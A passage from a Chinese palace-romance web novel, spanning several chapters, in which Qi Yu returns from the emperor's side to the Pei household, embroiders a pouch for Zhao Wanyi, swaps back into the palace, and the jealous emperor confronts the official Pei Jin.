抚着她的背顺气:“好吧,朕是小狗。” 戚妤板着的脸微松,这个狗还是让乌时晏当吧。 乌时晏满腹疑惑问:“阿妤怎么知道朕身上的毒解完了?” 解掉毒后,他身上是前所未有的轻松, 骨头不会再冷不防疼得发抖, 身上原本的旧疾与暗伤也好全了, 身体状况像是回到了弱冠之年, 他还没有领兵打仗的时候。 伴随而来的, 是清晰的思绪与大量的精力。 现在乌时晏甚至对自己将那群大臣留到现在才处理感到不可思议, 他是怎么容忍他们在朝廷上指手画脚, 又图谋皇位,想用宁王世子架空皇权的? 也对田文善三人的僭越连惩治都没有,而感到不理解。 纵使他们忠心,可解毒这样的大事本就需要他来拿定主意, 若非阴差阳错是戚妤喝下解药,便酿成大错了。 直到现在, 乌时晏想起这事, 还心惊不已, 抱着戚妤就抱的更紧了。 他一直是个很偏激的人, 中毒后更多了许多不耐烦与混沌不清,循着本能去关注赵婉仪, 后来遇见戚妤,他的注意力又不知不觉地落到了戚妤身上。 便觉得这就是喜欢。 在这件事上, 也许戚妤看的都比他明白。 说到底, 他是把戚妤当成寄托,一个遭受寒毒折磨的寄托,如果不念着戚妤, 他就什么都没有了。 重视他的父皇母后已经不在,他亲缘关系变得淡薄,未真正重用过朝中的任何一个臣子,对朝政也没有牵肠挂肚到拖着病体也得处理完,对待黎民百姓更是没有帝王应有的怜悯之心,只遵循法度行事,不让贪官污吏有一时片刻的猖獗。 而只要在戚妤身边,他才会感到心安,不再烦扰任何事,这种程度怎能不称为喜欢? 乌时晏解完毒后也会彷徨自己对戚妤的心意,会疑心自己是不是个虚伪透顶的人,而事实上,他确实是这样一个人,但他唯独对戚妤不虚伪。 即便解了毒,乌时晏依然痴恋戚妤,他只想和阿妤呆在一起,两天两夜怎么够,少说也得三天三夜。 他原本还计划着再骗一次,不,两次来着。 最好一辈子用余毒将阿妤绑在他身边。 乌时晏不甘心地想着,阿妤太聪明了也让人颇为苦恼。 戚妤卸了力:“因为陛下的身体没有像之前那样透着凉意了,现在只比常人稍凉一点。” 在夏天,感触可不就很明显了么。 要知道之前有乌时晏在,她甚至不需要冰鉴。 戚妤心中倍感遗憾,之前的日子是一去不复返了。 乌时晏失色了一瞬,又堪堪稳住了神态。 现在暑天还没过去,他便失了作用,乌时晏不动声色地转移话题,谈起他因解了毒而产生的变化。 戚妤闻言,这才发现她生病遗留的那点儿小尾巴居然好全了。 病去如抽丝,戚妤的药才连着喝了几日,便因到乌时晏这里而断了,可不没好全,但现在,经乌时晏提醒,她才意识到她身上一点儿也不孱弱,甚至是爽利。 最明显的变化就是她的双目更有神了,美目流盼间对远处的东西看的更清了。 这么好的变化不好好利用实在是暴殄天物,索性现在天下也没真正的太平,谁知会不会牵扯进下一次的刺杀中。 乞巧节那日她身边即便有林七保护,可还是落水了。 虽然下暗手推她的那个人在当天便被乌时晏斩杀,桥上的血迹不知道现在清理干净没,但戚妤不愿再陷入险境时,只能寻求他人的帮助。 若下次乌时晏在,她一定紧紧跟在他身后,但乌时晏不在呢? 靠人不如靠己,不妨利用这双锐目,去学弓箭。 至于如林七那样的轻功和武功,戚妤则没动半分想学的心思,除了太吃基本功,她时间也没有那么多。 同时,戚妤想到了赵婉仪,原本这样好的东西应该由赵婉仪来享用才是,却被孟舍用到了她身上,等发现时,便为时已晚了。 戚妤在心中下定决心,无论耗费多少人力财力,她也要为赵婉仪再找一株破厄花。 想来疗愈身体不需要非得找个中了寒毒的男人,任何人都是可以的。 戚妤安了心,在与乌时晏温存过后,便和他一同去沐浴,之后去用膳。 踏出屋子时,戚妤觉得呼吸都顺畅了,整个人松快了许多。 再喜欢那事,也直叫人吃不消啊。 徒留乌时晏目光怨念,紧紧抓住她的手- 裴府,蘅芜院。 自己的夫人两天未归,裴谨想也知道去哪儿了。 这本就是意料之中的事,戚妤就是陛下的人,那天晚上过后,陛下宣示主权再正常不过了。 裴谨如常去官署处理公务,沉默着处理手头上的事,无波无澜地回蘅芜院合衣而眠,他处于极致的冷静中,可就算是迟钝如秋葵也察觉到了不对。 但夫人不在,她纵使心惊也不敢多言。 傍晚,门房小跑着递来了一封信,大人看过后,方归了魂,有了三分的温润感。 秋葵听见大人喃喃道:“夫人明日回来。” 她不由雀跃了起来。 夫人回来,蘅芜院便能跟之前一样,即便仆从不多,也很温馨有活人气儿。 翌日,戚妤乘马车回了裴府。 她从马车上下来时,惊讶发现裴谨竟在裴府门前等着她,还朝她伸出了手。 戚妤已经不抱希望能骗过裴谨了,毕竟三日未归,裴谨不起疑才怪。 而乌时晏昨晚混合着笑意的声音还犹在耳畔,他道:“朕从没想过遮掩。” 戚妤无奈,乌时晏是天子,这般行事实在正常。 即便这件事是乌时晏不占理。 那她这个夫人去了哪儿,裴谨应是一查便知。 然而戚妤看向裴谨,却未从他的神情中瞧出任何疑心,甚至真切的厉害,她犹豫过后,将手递给了裴谨。 裴谨紧紧握住戚妤的手,将她扶下马车,而后转为十指紧扣,低头温润笑着将戚妤带进裴府。 戚妤看着脚下,她想将手从裴谨手中抽出来,但裴谨困的很紧,她只能作罢。 毕竟她不能当着裴府下人们的面将裴谨的手甩开。 远处的一辆马车上,乌时晏咬牙切齿低骂道:“狗东西。” 乌时晏太膨胀了,又完全把自己放在了正夫的位置上。 他今天是想看一下裴谨是如何节节败退,不敢染指阿妤,痛苦不堪的样子,却没成想,这狗东西,竟然大庭广众之下牵起了阿妤的手。 然而,他却不得不将戚妤放回裴府,毕竟只有她是裴夫人才能进宫将赵婉仪换出来,又不会引起猜疑,让流言四起。 驾着马车的卫四,全当听不见陛下骂了什么,默默等裴府的大门合上,这才恭敬开口道:“陛下,我们得尽快进宫了。” 今天是遇刺的第八日,也是御医断言乌时晏活不过的这一天,自然更是那些大臣准备谋事的时机。 他们虽然相信天子也是凡人,也会死,却又不敢在他死之前动手,便敲定了这一日。 然而实际上,整个皇宫都在乌时晏的掌控下,只给那些大臣留了一条畅通无阻进宫的路,他们勾结的守卫早早被拿下,换上了乌时晏的人。 今天注定会有一场大戏,乌时晏自然要在大臣们入宫前便回寝宫,听一听他们唱的是哪出戏。 乌时晏放下车帘,闭目冷然道:“回宫。” 这边气氛有多冷凝,裴府的气氛就有多欢欣。 秋葵终于有了活过来的感觉,连忙挑这两日发生的趣事逗戚妤笑。 戚妤很给面子的弯了唇。 她余光扫过裴谨,发现裴谨正温和眷恋地看着她,不会让人觉得不适,只会让人心里暖融融的。 可越是这样,戚妤的心越是坚定。 必须得走回正轨了,她不是他的夫人。 戚妤在心中轻叹,对秋葵道:“秋葵,你在府上找一个耐心的绣娘,我想绣一些东西,让她教一教我,只是我刚上手,总会有些笨拙。” 秋葵应好,她并不知道原本的夫人女红精湛,根本不需要绣娘来教。 但裴谨知道啊。 戚妤避开裴谨的目光,走进蘅芜院。 待进了屋内,裴谨才松开了手,他问:“夫人绣东西,是要送给谁?” 当然是赵婉仪。 戚妤道:“一个重要的人。” 赵婉仪给她赠过一个香囊,在玉照院时,香囊便在她手边,她当时就将其收了起来,好好保存。 况且那日赵婉仪下水救了她,她怎么可能不深深触动? 她理应给赵婉仪回个亲手做的礼物。 再没有比绣东西更能凝聚心意的了。 巧了,裴谨也这么想,他听戚妤的话便知她先前对女红涉猎不深,可这种情况下仍要去绣,那人的重要程度显而易见。 是陛下吗? 裴谨嫉妒的头脑发蒙,愣了好一会儿才开口:“为夫没有吗?” 他拉住了戚妤的手指,声音温和舒缓:“我也想要。” 哎?裴谨都不怀疑她吗? 戚妤认真思考道:“我只能做一个。” 裴谨不在乎道:“把做坏的给我。” 四舍五入,也算是凝聚了戚妤的心意。 戚妤:“……好。” 根本没有办法拒绝,堂堂裴大人都不嫌弃做坏了的,她怎好留着不给。 这一天,宫中不知发生了什么,宁王世子赐死,平时在朝中举足轻重的大臣被投入大牢,家中被抄,只等秋后问斩。 其中不乏世家大族出身的臣子,然而毫无意外,无一宽宥。 京中风声鹤唳,裴府却很平静。 裴谨自那晚从官署回来发现乌时晏在屋内,便后知后觉意识到那个温大人是陛下的人,而非什么因他未参与宁王世子之事便给他使绊子。 果然,今日温老大人安然无恙,并未被波及。 裴谨眸光渐深,将捡好的线递给戚妤。 戚妤相当无奈,她是打定主意要避开裴谨,可裴谨偏偏连她绣东西也要陪着,巴巴地等着那个绣坏的荷包。 而她本就是第一次绣,即便在绣娘的耐心指导下,也仍是绣坏了一个。 裴谨瞬间眉目舒展:“为夫这便收下了。” 他比陛下收到荷包的时辰早,怎不算更胜一筹呢? 第39章 一整天的时间, 戚妤都在绣这个小小的荷包,直至天色越来越暗,手边多了盏灯,她这才揉了揉眼, 开始收尾。 裴谨给戚妤递了块点心, 并喂到嘴边, 戚妤微顿, 想了想, 还是将糕点吃掉了。 她手上有东西, 并不方便接住, 好在这块糕点并不大,小巧精致。 原本裴谨在她身边,戚妤还有些不适应,但发现裴谨能精准找出她想要的哪种颜色的丝线, 便放任了他。 有裴谨在,确实节省了不少时间。 收好尾后, 戚妤满意地欣赏着新做出来绣有兰草的青色荷包, 精细程度自然比不上赵婉仪绣的那只香囊, 但已经是她能做出来的最好的了。 绣娘也夸她有天赋, 虽然她不过是依葫芦画瓢罢了。 但这个荷包绝对称不上丑。 裴谨见此,眼神微暗, 他摸了摸自己袖中的那只荷包,方满意起来。 戚妤将荷包收起来, 裴谨握住戚妤的手:“夫人, 我们去用膳吧。” “好。”戚妤语气柔和,因为刚做成一个荷包,她的心情自然高兴。 不过尽管如此, 她还是起身后不动声色地将手收了回来。 裴谨空掉的手虚握成拳,但往前走了两步,终没忍住心底的委屈,用意外的眼神看向戚妤。 至少他们现在还是夫妻。 他可以对戚妤的避嫌感到意外。 明明裴谨什么都没说,戚妤却觉得她好似对他做了什么十恶不赦的事。 又见绣娘告退,秋葵去准备晚膳,戚妤盯着脚尖,声音尽量平直道:“大人,我们还是回以前的那种关系吧。” 裴谨心里清楚是怎么回事,乌时晏回宫扫清了障碍,必会马不停蹄地将戚妤接回宫,大抵便是明日了。 戚妤自然要和他划分开来。 可他不愿啊,在戚妤话音落下,裴谨便不由冲动逼问:“为什么?” 这叫戚妤如何解释? 在她一筹莫展之际,又听裴谨缓声问:“是因为我在床上不得夫人喜欢吗?” 戚妤低着头,并未发现裴谨薄唇微抿,眼神惨淡无光。 在那句为什么一出口,裴谨便后悔了,他没想逼她,他默了默,主动递去了台阶。 戚妤闻言也沉默下来,眼中闪过纠结。 她其实还蛮喜欢的。 “是。” 但如果应下就能斩断裴谨的念想,戚妤毫无负担地说出了口。 外面的天完全黑了下来,月明星稀,两人直到用完晚膳都没再说一句话。 戚妤相当自在,她本就是不会被这些事拘束到的人。 用过膳,戚妤沐浴后便躺到了床上,裴谨自觉去睡了榻。 因为秋葵已经离开,但屋内的蜡烛还没有灭掉,戚妤盯着烛光,有些睡不着。 在她起身想灭掉蜡烛时,裴谨穿了层单衣进来了。 裴谨身形自然也极为颀长,但他是个很标准的文人,平日里只会注意到他清绝的气质,不过他在人群中鹤立鸡群,身高便不可能矮。 裴谨在烛光昏昏时忽然出现,戚妤对上他灰黑的眼眸,唯能注意到的就是他的身形。 长身玉立,清瘦匀称。 “大人怎么来了?”戚妤疑惑问。 裴谨走到戚妤面前,戚妤这时也发现了裴谨空荡荡的单衣,行走间便能显出身材的轮廓。 她多看了两眼,将颇为无辜的目光移到裴谨脸上。 裴谨弯腰抱住了坐起的戚妤,将她抱了个满怀。 他低低祈求道:“夫人,再试一次好不好,如果明天你说不喜欢,我们便回到从前。” 裴谨卑劣地想,他的手段实在不光彩,也不光明磊落,他是在明晃晃的引诱戚妤。 裴谨闭上眼,侧了侧脸,呼吸喷薄在戚妤耳后。 可即便不成,他也抱到了戚妤,他几乎是将这个当成最后一次来抱。 戚妤推了推裴谨,没推动。 裴谨低声诉说着可怜:“榻上冷,又窄,我伸不开手脚,睡得腰酸背痛。” 裴谨的话几乎在戚妤耳畔响起,像低吟浅唱,戚妤真不知道裴谨是用什么样的语调来说这样的话的。 戚妤有一点点的犹豫,她推着裴谨的腰腹,即便隔着件单衣,也能摸到紧实的腹肌。 唉。 若是平常,她大抵不会拒绝,但与乌时晏厮混了这么长时间,她真的有点畏惧了。 要不是用了从裴府拿的药膏,身上的痕迹也不知道几时会消。 裴谨:“明日一早我还要去上早朝,若睡的不好,魂不守舍,恐会在大殿上失仪。” “夫人,你就当逗鸟一样,垂怜垂怜我吧。” 戚妤已经改为用手指点着裴谨的腰身,哪有上赶着被虐的。 明天她再承认裴谨的床上功夫不行,该有多打击人? 但话都到这份上了。 戚妤眉眼淡淡,她握住裴谨的单衣,往她的方向拽了一下:“把灯灭了,你留下。” 裴谨欣喜若狂,他不可置信地轻轻松开戚妤,呼吸微窒地看向她。 戚妤觑了他一眼。 裴谨已经笑了起来,他连忙起身将灯灭掉,便上了床,伸手将床幔放下。 深夜里,屋内只传来几声轻响。 戚妤别了一声,几声零落的喘息构成了夜的曲调。 结束后,裴谨下床漱口,而后才回到床上。 戚妤困的都要睡着了,还不忘推了推裴谨:“不满意,我不满意。” 说完,便沉沉地睡了过去。 她怕明天早上裴谨上朝时她都醒不过来,便提前说了,破了裴谨的妄想。 裴谨却一点都不恼,这句话,正话反听就对了。 床榻里很黑,但他的眼睛却温柔发亮的惊人。 他缱绻地吻了吻戚妤的发丝。 他们自然没做到最后,但他却觉得进了一大步。 清晨。 戚妤醒来时,裴谨果然不在了,她翻了身,继续睡回笼觉。 怎么说呢,她原本以为裴谨会一次证明个够,但他却是在很温柔的吻她,像温泉水一样将她包裹起来,舒服的冒泡。 甚至她最后的困意都是在他推波助澜下,水到渠成有的。 虽然在戚妤说过别后,裴谨仍朝下吻去了,但这让她不禁有些心神摇曳。 ……她言不由衷地连说了两句不满意。 一刻钟后,戚妤起身,丫鬟进来侍奉她穿衣梳洗。 管家已经候在了蘅芜院,说宫里的太后宣夫人进宫,与他一同前来的,是太后身边的芳姿姑姑。 戚妤今日换了一身竹青色衣裳,袖口还绣有竹叶,纤腰被松绿色腰带束起,看起来不盈一握,腰间挂了一个香囊。 端的是钟灵毓秀, 秋葵取来耳坠给她戴好,戚妤这才发现是裴谨送的那一对。 再看铜镜中,发现格外衬这身衣裳,她便没让人多费事取下。 左右一对耳坠,并不值当什么。 等一切收拾好,戚妤准备随芳姿进宫时,裴谨乘马车从皇宫方向回来,疾步走到她面前。 裴谨今天下朝后本不会回来的这么晚,但陛下偏偏将他空留在偏殿中,宦官又只说让他等候,迟迟不见宣见。 最终他推脱官署有事,不顾宦官老神在在又面露为难的矛盾神色,从宫中离开,回到府上。 幸而,戚妤还没走。 她戴了他送的耳坠。 裴谨在看到戚妤的第一眼便发现了,这是不是说明她不是只贪图他的身体,也有那么一点情? 戚妤见到裴谨,只微微颔首:“大人。” 裴谨看完了戚妤,对芳姿道:“姑姑,本官要与夫人借一步说话。” 芳姿自然无权阻止,她退后一步,裴谨与戚妤顺势走到一旁。 戚妤抬头看向裴谨,唇畔浅笑。 裴谨问:“夫人,你喜欢微臣这张脸吗?” 戚妤心中缓缓升起疑惑,裴谨把她叫来就为问这个问题? 她遵从本心道:“喜欢。” 裴谨笑起来,很是俊逸,他微微一退:“夫人进宫吧,早些回来。” 这便够了,比起陛下落了疤的脸,他还有一张看得过去,得戚妤喜欢的脸。 此乃他又胜一筹。 谁能想到堂堂裴大人在早朝时竟然在想这件事。 陛下变得精明了,再配上那张落了疤的脸,更不敢叫人直视圣颜,这样的陛下,怪不得要敌视他,不想让他来见戚妤。 ——他一点都不知道戚妤拿着他的药膏用到了乌时晏脸上,若是知道,早不是这样的心境了。 裴谨也没大胆到问戚妤陛下的美丑,只隐晦地对比了一下。 可若他问,戚妤真不一定说他比乌时晏好看的话。 因为在戚妤心中,两人的相貌不相上下,乌时晏帅,裴谨俊,皆是不凡的天之骄子,哪有落了个疤好好的人就不值得喜欢了。 戚妤一头雾水地走向芳姿姑姑,她回头看了一眼,发现裴谨仍在看她。 如同被烫到了似的,她稍快地转过头,耳坠轻晃。 戚妤登上马车,芳姿跟在后面上来,她疑惑问:“裴夫人,不带上月鹭那个丫头吗?” 戚妤摇了摇头:“太后召我,不便再耽误了。” 马车一路往宫门口驶去,将裴府远远甩在身后。 裴谨慢慢失了笑,即便知道再回来时便不是戚妤了,可他仍等在府上,非得真正死心不可。 戚妤入宫后,先去了长信殿,太后那里。 意外的是,乌时晏竟也在。 乌时晏已经听闻裴谨离开宫,气势不由沉了几分。 他半点不心虚他让宦官留住裴谨,他则提前到长信殿喝茶等人。 太后受宠若惊,皇帝病愈后的第二日下了早朝便来了长信殿,谁能不说一声孝顺,谁能不说一声她这个太后地位稳固? 虽然这一切都是因为裴夫人。 太后看向前方,目光落到逆着晨曦不太强烈的光走进殿内的戚妤身上。 女子美得沉静明姝,便是她身为太后见了那么多面此时也眼前一亮,更不必说心心念念着的皇帝了。 乌时晏紧紧捏着手上的扳指才没上前拉住戚妤的手。 戚妤行礼后坐在一旁,微微垂首,与太后交谈着。 乌时晏时而开口。 太后微露疲色,两人这才双双告退。 长信殿外,乌时晏对旁边的太监吩咐道:“朕今日去昭阳殿用午膳。” 太监称诺。 戚妤听在耳中,略略挑眉,不用想都知道乌时晏这句话是对谁说。 而这时,佩玖也到了长信殿前,对乌时晏行过礼后,冲戚妤俏皮地眨了眨眼睛,一本正经道:“裴夫人,贵妃娘娘想见您一面,请您移步昭阳殿。” 佩玖又对芳姿姑姑道:“姑姑,娘娘之后会派人送裴夫人出宫,便不劳烦您了。” 芳姿看向戚妤,想让戚妤拿定主意,虽说贵妃行事张弛有度,可这是裴夫人啊,她不敢大意。 不过转念一想,陛下在这里,居然未劝阻,得将陛下的态度报给太后娘娘才是。 戚妤对芳姿颔首,便随佩玖走了。 乌时晏看着戚妤的背影,身上洋溢着快活的气息。 他的心彻底安定了,不过也要将裴谨早早打发出京才是。 第40章 戚妤回到昭阳殿便见到了赵婉仪。 赵婉仪本来就偏瘦, 现在脸上更添了几分苍白病态,但双眸却很有神,镇定自若。 因佩玖没有声张,这件事连锦榕姑姑都不知道, 赵婉仪以未免过了病气为由这几天都没见锦榕。 加上贵妃落水后病倒, 昭阳殿显出混乱, 短短几日, 竟也无人发觉。 好端端的, 任谁也不会冒出这样的念头。 戚妤上前, 还未行礼, 便被赵婉仪拉住了手,带进了寝宫。 佩玖见此,去准备两人待会儿穿的衣物,并让人不要进去打扰贵妃与裴夫人。 戚妤笑起来, 一脸欣喜,经过乞巧节那日, 她们的关系已经拉进了很多。 不过赵婉仪则更激进些。 因为甫一进入寝宫, 赵婉仪就抱住了她。 戚妤被她压在肩头, 笑道:“赵姐姐。” 昨日的事态满宫戒严, 但并未波及赵婉仪,她仅有些耳闻, 隐约猜出是有人生事,但被乌时晏以雷霆手段迅速镇压, 一夜之间, 死了许多人。 这更让赵婉仪觉得乌时晏深不可测,早没了用一支簪子出其不意就能杀掉乌时晏的想法。 但这些念头只在她心中淡淡飘过,比起这些, 她更看重戚妤,想知道戚妤落水后好不好。 赵婉仪心中割裂的很,一面觉得戚妤不是自己的妹妹,一面又觉得她就是,不是她,还会是谁? 真见到了戚妤,赵婉仪心中汹涌到快要溢出的感情,促使她没忍住抱上了戚妤,又听到那声姐姐,更是落了泪。 连赵婉仪自己都惊愕不已,不知不觉间她竟对戚妤在意到了这种程度吗? 戚妤自然不遑多让,她听到赵婉仪的哭腔就呆愣住了,反应过来后忙拍了拍她的背,又拉开距离拿着帕子给赵婉仪擦泪。 不得不说,给自己长相一模一样的人拭泪,这感觉相当奇妙。 赵婉仪许是觉得失仪,侧开了脸,但仍任由戚妤将她滚落的泪珠擦掉。 戚妤拉着赵婉仪到坐榻坐下,眉间忧愁:“姐姐,可是在宫中受了什么委屈?” 不知这句话又怎么戳中了赵婉仪,赵婉仪的泪落得更凶了。 戚妤耐心至极地询问,手上的动作更是轻柔。 赵婉仪摇了摇头:“娘娘,私底下臣妇能叫您阿妤吗?” 戚妤没有任何介怀道:“自是可以。” 在戚妤的身份还是一团迷雾前,赵婉仪不愿把戚妤当作妹妹的替身,这样对谁都不公平,况且她这样的身份,也不好有牵挂或让戚妤被她牵连。 赵婉仪将最后一滴泪眨掉:“阿妤,我没有什么委屈,只是太高兴见到你了,那天在水下,我想救你,却反被你救,我何德何能……更因是我,才让你到了裴府。” 这才有了流落进臣子府这番委屈。 纵使再恨乌时晏,赵婉仪也不得不承认,戚妤这样的人,再怎么养尊处优都不为过。 戚妤眉眼带笑:“裴府很好,且应是我感谢你专程去救我才是,怎么能归因到你身上?” 她将袖中的荷包取出来,递给赵婉仪:“这是我一针一线为你绣的,女红笨拙了些,还望你能喜欢。” 赵婉仪全程只顾盯着戚妤的脸,现在看向荷包,才发现戚妤腰间还戴着她送的那只香囊。 这一刻,她心情无比复杂。 任谁被戚妤这样对待,都要感动的无以复加。 赵婉仪真情流露道:“喜欢!阿妤,我定日日佩戴它。” 戚妤羞赧道:“倒也不必,若让别人瞧见,该要笑话了。” “阿妤亲自绣的,这天底下只此一件的东西,旁人羡慕还来不及。” 戚妤笑着看向赵婉仪,谁都喜欢自己的真心被维护,她也不例外。 这次和赵婉仪交好,戚妤半点没抱着她是女主的想法,而是因她这个人本身就闪闪发亮,值得交好。 赵婉仪将荷包收起来,这时佩玖也带着两套衣裳走了进来。 娘娘和赵夫人虽要换回来,但没有让她们穿对方穿过的衣裳的道理,佩玖早早记下她们的穿着,找来了相似的衣裳。 戚妤与赵婉仪分别去屏风后换了衣裳。 再出来后,佩玖也不禁迷惑,陛下当初是怎样认出娘娘不是娘娘的,虽然她知道两位换了回来,可再见到时仍是会恍惚。 佩玖对穿着宫装,神态已不再过于婉约的戚妤道:“娘娘?” 戚妤揉了揉佩玖的脸蛋:“是本宫。” 另一边,赵婉仪穿着青衣的腰上已然挂上了荷包,因有佩玖在,她道:“娘娘,臣妇便先告退了。” “你病还未好全,本宫安排轿子送你出宫,免得吹风。”戚妤上前一步,而后又对佩玖吩咐道,“佩玖,你带人亲自去送赵夫人,务必要送到裴府。” 赵婉仪身边没有熟悉的丫鬟,她不放心她。 赵婉仪接受了这番好意,与佩玖双双离开。 戚妤则唤来了其他大宫女,开始布置午膳- 裴府。 赵婉仪在佩玖的陪同下,去往玉照院,中途碰上了裴谨。 赵婉仪目光冷淡,裴谨不遑多让。 明白是赵婉仪回来了,裴谨本想转身就走,却忽然看到了赵婉仪腰间那只熟悉的荷包,神情瞬间凝重了起来,眼神愕然。 他的那只还贴身藏着,自然不会忘记戚妤给重要的人绣的荷包。 裴谨原以为碰到了陛下,才会见到那只荷包被挂在腰间的姿态,但没想到,戚妤竟然赠给了赵婉仪。 裴谨第一反应是欣喜,还好不是陛下。 第二个反应则是嫉妒,明明他和赵婉仪几乎同时认识戚妤,他们间还那么亲密,然而在戚妤心中,赵婉仪却比他重要许多。 凭什么? 裴谨心里的醋坛子被打翻,他现在只想回到蘅芜院,在处处都留有戚妤气息和痕迹的院中呆上一呆,才能勉强稳住心神。 忽然,裴谨想到,戚妤常挂在腰间的香囊,正是出自赵婉仪之手。 以戚妤的喜新厌旧,这相当难得,毕竟戴过一次的东西她鲜少戴第二次,甚至不会去留意。 这么一想,心更碎成了一瓣一瓣。 裴谨:“……” 他再次问,她凭什么。 察觉到裴谨黏在她荷包上的视线,赵婉仪妥帖地让佩玖回宫照顾贵妃,见佩玖服身离开,她这才轻遮住荷包,隔绝了窥探。 不用说,裴谨知道这个荷包的来历。 若更大胆些猜测,裴谨知道这几日在裴府的是贵妃,毕竟裴谨的秘密可不比她少,谨慎已经成了他的本能,且他们间的关系,戚妤一试探便会暴露。 赵婉仪将裴谨的异状记下,便回了玉照院,连对裴谨点头示意都没有。 因为方一碰面,他们就察觉到对方身上的秘密又多了,即便可能有暗卫在,他们也不会多做交谈,以防早日生厌- 宫中,乌时晏自听到裴夫人离宫后,就迫不及待去了昭阳殿。 待见到戚妤,乌时晏更是两步走到戚妤面前,抱住了她,嘴中轻念着什么。 本来戚妤这么近的距离都难以听清,但谁让她耳力好呢。 戚妤听见乌时晏碎碎念着:“朕的阿妤。”“朕之心肝。”“阿妤好香。” 戚妤:这不光彩的话还是低声些的好。 昭阳殿的宫人见到这一幕震惊不已,尤其是没去庄子侍奉的,入宫几年,他们何曾见过陛下这样? 别说这依恋的姿态,便是主动去抱女子都是想都不敢想的。 不过他们知道,昭阳殿要一飞冲天了,未来皇子十有八九会从贵妃腹中出来! 宫人们摩拳擦掌,干劲满满,毕竟主子前程似锦,他们又会差到哪儿去? 戚妤挣脱开来,拉着乌时晏往殿内走去:“陛下先喝些茶,午膳还得费些时候,臣妾也对小厨房想念的紧。” 乌时晏目不转睛看着戚妤,眼中藏着笑意。 忽然,他目光一凝,状似疑惑问道:“阿妤这对耳坠是谁送的?” 乌时晏心中其实已经有了答案,毕竟当初裴谨母亲还未逝去的时候,便花费重金请匠人打造了一整套首饰,想要留给裴谨未来心仪的女子。 当时他还不是皇帝,因与裴父有师生之谊,便见过一面。 而以他的记忆力,断然不会认错。 乌时晏冷漠地想,裴谨直到现在,还在挑衅他,即便看在裴师的面子上,他也断不会宽宥了。 戚妤一无所觉,乌时晏装的太好了,仿佛是很不经意间的询问。 她如实道:“是裴府的首饰,臣妾忘记摘下来了。” 乌时晏轻抚戚妤的发丝,说的让人挑不出一丝差错:“不用摘,很好看,但不太配阿妤今日这身衣裳,耳坠太素了也不好,朕让田文善再送些漂亮明艳的耳坠过来。” 田文善已经领罚,但乌时晏习惯吩咐田文善,一时难以改口。 不过田文善若是知道陛下有这习惯,定然欣喜若狂。 “不搭吗?”戚妤看了看自己的衣裳,是件橙黄色的曲裾,确实与这翠绿叶子状的耳坠不搭,便道:“那由陛下为臣妾取下来吧。” 她懒懒的,不想动手。 乌时晏强压嘴角才没让它上扬地那么厉害,以阿妤的态度,裴谨定是没告诉她这耳坠意味着什么。 不然不会这般随意。 他眼神微眯,裴谨和他斗,还是太嫩了,他都不屑于与他为敌。 但裴谨的心思着实可恶,于是在乌时晏回承明殿批奏折时,便让人急宣了裴谨进宫。 眼下,乌时晏正耐心地帮戚妤取下耳坠,又挑了一个漂亮的,为戚妤戴上,举止间,尽显亲密体贴。 而那对耳坠,乌时晏悄然收进手心,准备带走交给宫人处置。 戚妤久久不见乌时晏将那个满是巧思的耳坠放下,不由看向他,片刻后,她将耳坠从乌时晏手中扣出来,放进了妆奁中。 可恶啊可恶,乌时晏都这么富有了,还贪图她一个合心意的耳坠。 唉,就是不知道她这样做,乌时晏说要送的那些耳坠还做不做数。 乌时晏脸上的假笑已经挂不住了。 他心里重重地叹了一口气,他如何看不出戚妤浅显的心思,但这不妨碍他深深的同情自己。 裴谨这厮,当真好运!《 》 40-50 第41章 戚妤下午时候, 便让人请来了一位会武功的女师傅,弯弓搭箭自然不在话下。 乌时晏回承明殿处理政事,她则去了宫中的箭场,这是专供皇室中人射箭的地方, 但因乌时晏没有皇子, 这里平日除了乌时晏, 基本没什么人来。 戚妤带着人, 畅通无阻地进入箭场。 这边, 她在凝心听着射箭技巧, 另一边, 承明殿内,却不太平静。 裴谨走进殿内,给坐在上首,微阖着眼, 提笔批奏折的乌时晏行了大礼:“微臣参见陛下,陛下万岁万岁万万岁。” 乌时晏神情淡淡, 似乎完全没将裴谨放在眼里, 眼皮掀也未掀, 只专心处理着朝政。 毕竟八天的时间, 除了极为紧迫的事他早早拿过主意,其余奏折早已堆积如山, 换了谁来,也得费好大一番功夫才能处理妥当。 只单单一个裴谨, 如何能急过奏折? 然而实际上, 乌时晏手中的笔都快被捏断了。 “平身,来人,为裴大人斟酒。”乌时晏晾了裴谨好大一会儿, 将手中的奏折批完,放到一旁,才不紧不慢地说道。 立刻便有人将早已准备好的鸩酒端了上来,当着裴谨的面将酒壶中的酒倒进酒杯中,放到托盘上,而后弯腰捧起,静立在裴谨身侧。 裴谨此时已经站了起来,他从容地看了一眼,面上一丝惧怕也无。 正如他今天这身,玉冠靛衣,沉稳中透着清雅。 裴谨微垂眼以示恭敬,但说出的话却能叫人胆子都给吓破:“陛下,微臣见到人才会喝。” 乌时晏纳闷:“你算个什么东西?” 难道还要死在阿妤怀里,让阿妤恨他一辈子? 他裴谨做梦! 裴谨一声不吭起来,他算什么东西?他在今天早上之前唤戚妤为夫人。 陛下将贵妃当作替身,说明没有很喜欢不是么,可为什么他不喜欢,也不让别人染指? 这种占有欲简直荒唐。 况且,戚妤不抗拒他的靠近,还喜欢将那双纤纤玉手放在他的腰腹上,陛下有那样温柔对待过贵妃吗? 时人都喜欢玉面郎君,裴谨在此之前对此很不屑,也不觉得自己高洁,配得上这个称呼。 可比起陛下,他的皮囊略有些可取之处,较合戚妤的胃口不是吗? 殿内在乌时晏话落便陷入一片冷凝。 裴谨神色只愈加恭敬,可任谁都能看出他就是个石头,又臭又硬。 一旁端着鸩酒的太监连呼吸都快没了,他不知道陛下为什么要鸠杀一位深得重用的大臣,而裴大人,状似恭敬极了,可他作为奴才却感受的分明,裴大人并非真的顺从。 即便遮掩的极好,可也是不服气的。 他怎么敢?那可是陛下! 乌时晏怒极反笑,他嗤笑一声,下一瞬,一枚玉章便从上面砸了下来。 带着雷霆之势。 能御驾亲征的,又几个会是泥脾气? 乌时晏身为皇帝,愿意为戚妤遮掩几分本性,却实在不必给裴谨脸面。 裴谨有所预料,不闪不避,硬扛住了这个拳头大小,带有棱角的方型玉章。 当臣子的,即便陛下不占理,他也不会去躲避。 裴谨额前传来刺痛,随着带血的玉章滚落在地,几行长短不一的浓稠鲜血从他额前滑了下来,绕过眉骨,滴在了地上。 然而裴谨却一点都不觉得疼,他只想到了昨晚的甜蜜。 他占了天大的好处,区区流血,实在算不得什么。 乌时晏冷然:“滚下去。” 端酒的太监将鸩酒放下,与其他侍奉太监悄无声息地退下。 